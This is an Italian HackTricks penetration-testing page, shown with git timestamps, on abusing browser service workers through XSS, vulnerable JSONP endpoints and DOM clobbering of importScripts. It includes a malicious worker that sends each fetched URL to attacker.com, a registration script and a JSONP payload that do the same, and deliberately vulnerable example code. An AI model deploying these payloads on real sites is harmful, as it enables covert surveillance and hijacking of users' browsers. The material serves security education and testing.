hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

133 lines
8.6 KiB
Markdown
Raw Normal View History

# Abusare dei Service Workers
2022-12-20 11:25:07 +00:00
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
2022-12-20 11:25:07 +00:00
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Informazioni di Base
2023-09-02 23:48:41 +00:00
Un **service worker** è uno script eseguito dal tuo browser in background, separato da qualsiasi pagina web, che consente funzionalità che non richiedono una pagina web o interazione dell'utente, migliorando così le capacità di **elaborazione offline e in background**. Informazioni dettagliate sui service workers possono essere trovate [qui](https://developers.google.com/web/fundamentals/primers/service-workers). Sfruttando i service workers all'interno di un dominio web vulnerabile, gli attaccanti possono ottenere il controllo sulle interazioni della vittima con tutte le pagine all'interno di quel dominio.
2022-12-20 11:25:07 +00:00
### Verifica dell'Esistenza dei Service Workers
2022-12-20 11:25:07 +00:00
I service workers esistenti possono essere verificati nella sezione **Service Workers** della scheda **Applicazione** nelle **Strumenti per Sviluppatori**. Un altro metodo è visitare [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) per una visualizzazione più dettagliata.
2022-12-20 11:25:07 +00:00
2024-02-10 13:03:23 +00:00
### Notifiche Push
2022-12-20 11:25:07 +00:00
Le **autorizzazioni alle notifiche push** influenzano direttamente la capacità di un **service worker** di comunicare con il server senza interazione diretta dell'utente. Se le autorizzazioni vengono negate, limitano il potenziale del service worker di costituire una minaccia continua. Al contrario, concedere le autorizzazioni aumenta i rischi di sicurezza abilitando la ricezione ed esecuzione di potenziali exploit.
2022-12-20 11:25:07 +00:00
2024-02-10 13:03:23 +00:00
## Attacco Creazione di un Service Worker
2022-12-20 11:25:07 +00:00
2024-02-10 13:03:23 +00:00
Per sfruttare questa vulnerabilità è necessario trovare:
2022-12-20 11:25:07 +00:00
2024-02-10 13:03:23 +00:00
* Un modo per **caricare file JS arbitrari** sul server e un **XSS per caricare il service worker** del file JS caricato
* Una **richiesta JSONP vulnerabile** in cui è possibile **manipolare l'output (con codice JS arbitrario)** e un **XSS** per **caricare il JSONP con un payload** che **caricherà un service worker malevolo**.
2022-12-20 11:25:07 +00:00
Nell'esempio seguente presenterò un codice per **registrare un nuovo service worker** che ascolterà l'evento `fetch` e **invierà al server degli attaccanti ogni URL recuperato** (questo è il codice di cui avresti bisogno per **caricare** sul **server** o caricare tramite una risposta **JSONP vulnerabile**):
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
2024-02-10 13:03:23 +00:00
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
2022-12-20 11:25:07 +00:00
});
```
E questo è il codice che **registra il worker** (il codice che dovresti essere in grado di eseguire sfruttando un **XSS**). In questo caso verrà inviata una richiesta **GET** al server degli **attaccanti** **notificando** se la **registrazione** del service worker è stata o meno riuscita:
2022-12-20 11:25:07 +00:00
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
2024-02-10 13:03:23 +00:00
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
2022-12-20 11:25:07 +00:00
});
</script>
```
Nel caso si voglia abusare di un endpoint JSONP vulnerabile, è necessario inserire il valore all'interno di `var sw`. Ad esempio:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Esiste un **C2** dedicato allo **sfruttamento dei Service Workers** chiamato [**Shadow Workers**](https://shadow-workers.github.io) che sarà molto utile per sfruttare queste vulnerabilità.
2022-12-20 11:25:07 +00:00
La direttiva della **cache di 24 ore** limita la vita di un **service worker (SW)** maligno o compromesso a al massimo 24 ore dopo la correzione di una vulnerabilità XSS, assumendo uno stato di client online. Per ridurre al minimo la vulnerabilità, gli operatori del sito possono ridurre il Time-To-Live (TTL) dello script SW. Ai developer viene anche consigliato di creare un [**interruttore di disattivazione del service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) per una rapida disattivazione.
2022-12-20 11:25:07 +00:00
2024-02-10 13:03:23 +00:00
## Abuso di `importScripts` in un SW tramite DOM Clobbering
2022-12-20 11:25:07 +00:00
La funzione **`importScripts`** chiamata da un Service Worker può **importare uno script da un dominio diverso**. Se questa funzione viene chiamata utilizzando un **parametro che un attaccante potrebbe** modificare, potrebbe **importare uno script JS dal suo dominio** e ottenere XSS.
2022-12-20 11:25:07 +00:00
2024-02-10 13:03:23 +00:00
**Questo bypassa anche le protezioni CSP.**
2022-12-20 11:25:07 +00:00
2024-02-10 13:03:23 +00:00
**Esempio di codice vulnerabile:**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
2024-02-10 13:03:23 +00:00
// attacker controls location.search
2022-12-20 11:25:07 +00:00
</script>
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2024-02-10 13:03:23 +00:00
### Con DOM Clobbering
2022-12-20 11:25:07 +00:00
Per ulteriori informazioni su cosa sia il DOM Clobbering, controlla:
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Se l'URL/dominio che il SW sta utilizzando per chiamare **`importScripts`** è **all'interno di un elemento HTML**, è **possibile modificarlo tramite DOM Clobbering** per fare in modo che il SW **carichi uno script dal proprio dominio**.
2022-12-20 11:25:07 +00:00
Per un esempio di questo, controlla il link di riferimento.
2022-12-20 11:25:07 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-12-20 11:25:07 +00:00
<details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-12-20 11:25:07 +00:00
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
2024-02-10 13:03:23 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>